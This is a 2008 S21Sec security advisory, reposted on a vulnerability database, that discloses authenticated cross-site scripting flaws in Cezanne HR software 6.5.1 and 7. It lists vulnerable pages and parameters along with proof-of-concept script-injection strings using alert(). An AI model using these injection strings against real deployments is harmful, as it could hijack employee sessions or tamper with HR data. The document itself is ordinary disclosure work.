Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19651
HistoryApr 15, 2008 - 12:00 a.m.

S21SEC-042-en:Cezanne SW Cross-Site Scripting (login required)

2008-04-1500:00:00
vulners.com
81

##############################################################

  • S21Sec Advisory -

##############################################################

Title: Cezanne SW Cross-Site Scripting (login required)
ID: S21SEC-042-en
Severity: Medium
History:
02.Jan.2008 Vulnerability discovered
Authors:
Juan de la Fuente Costa ([email protected])
Fco Javier Puerta Rubio ([email protected])
URL: http://www.s21sec.com/avisos/s21sec-41-en.txt

[ SUMMARY ]

Cezanne develops Human Capital Management Software.

This Software provides leading-edge Human Capital Management solutions
that help companies better develop, manage, reward and retain their most
important asset - their people.

Cezanne include applications for employee performance management, career &
succession planning, training & development, people management,
recruitment, salary analysis & compensation planning, pay review, employee
survey and organization charting.

[ AFFECTED VERSIONS ]

This vulnerability has been tested in Cezanne 6.5.1, and Cezanne 7.

[ DESCRIPTION ]

S21sec has discovered a vulnerability in Cezanne 6.5.1/Cezanne 7 that
allows injecting JavaScript code in text variables.

This issue allows javascript code execution in the user browser.

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/CFLookUP.asp?LookUPId=>"><script>alert("S21sec")</script>&CbFun=Focus_CallBack&FUNID=7302062&CloseOnGet=yes
VULNERABLE PARAMETERS:LookUPId,CbFun
STRING:>"><script>alert("S21sec")</script>

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/CznCommon/CznCustomContainer.asp?ACTION=RETRIEVE&amp;Columns=2&amp;Title=7302053&amp;TitleParms=&quot;&gt;&lt;/title&gt;&lt;script&gt;alert&#40;&#39;&#37;20S21Sec&#37;20&#39;&#41;&lt;/script&gt;&amp;WidgetsFunctions=7100027&#37;2C7302015&amp;WidgetsColumns=1&#37;2C1&amp;WidgetsTogglers=Y&#37;2CY&amp;WidgetsHeights=&#37;2D1&#37;2C&#37;2D1&amp;WidgetsLinks=&amp;WidgetsTitles=&#37;2D1&#37;2C&#37;2D1&amp;HideNonWorkingWidgets=Y&amp;FUNID=7302031&amp;LINKID=&#37;2D1
VULNERABLE PARAMETERS:TitleParms, WidgetsHeights, WidgetsLinks, WidgetsTitles
STRING:"></title><script>alert('%20S21Sec%20')</script>

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/home.asp?CFTARGET=&quot;;}alert("S21sec")</SCRIPT>%20–>
VULNERABLE PARAMETERS::CFTARGET
STRING:";}alert("S21sec")</SCRIPT>%20–>

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/PeopleWeb/Cards/CVCard.asp
VULNERABLE PARAMETERS:PersonOid

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/PeopleWeb/Cards/PayrollCard.asp
VULNERABLE PARAMETERS:DESTLINKOID, PersonOID

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/PeopleWeb/CznDocFolder/CznDFStartProcess.asp
VULNERABLE PARAMETERS:FolderTemplateId, FolderTemplateName

[ WORKAROUND ]

Contact with Cezanne Software at: http://www.cezannesw.com/

[ ACKNOWLEDGMENTS ]

This vulnerability has been discovered and researched by:

  • Juan de la Fuente Costa S21Sec
  • Fco Javier Puerta Rubio S21Sec

You can find the last version of this warning in:

http://www.s21sec.com/es/avisos/s21sec-042-en.txt

http://www.s21sec.com
http://blog.s21sec.com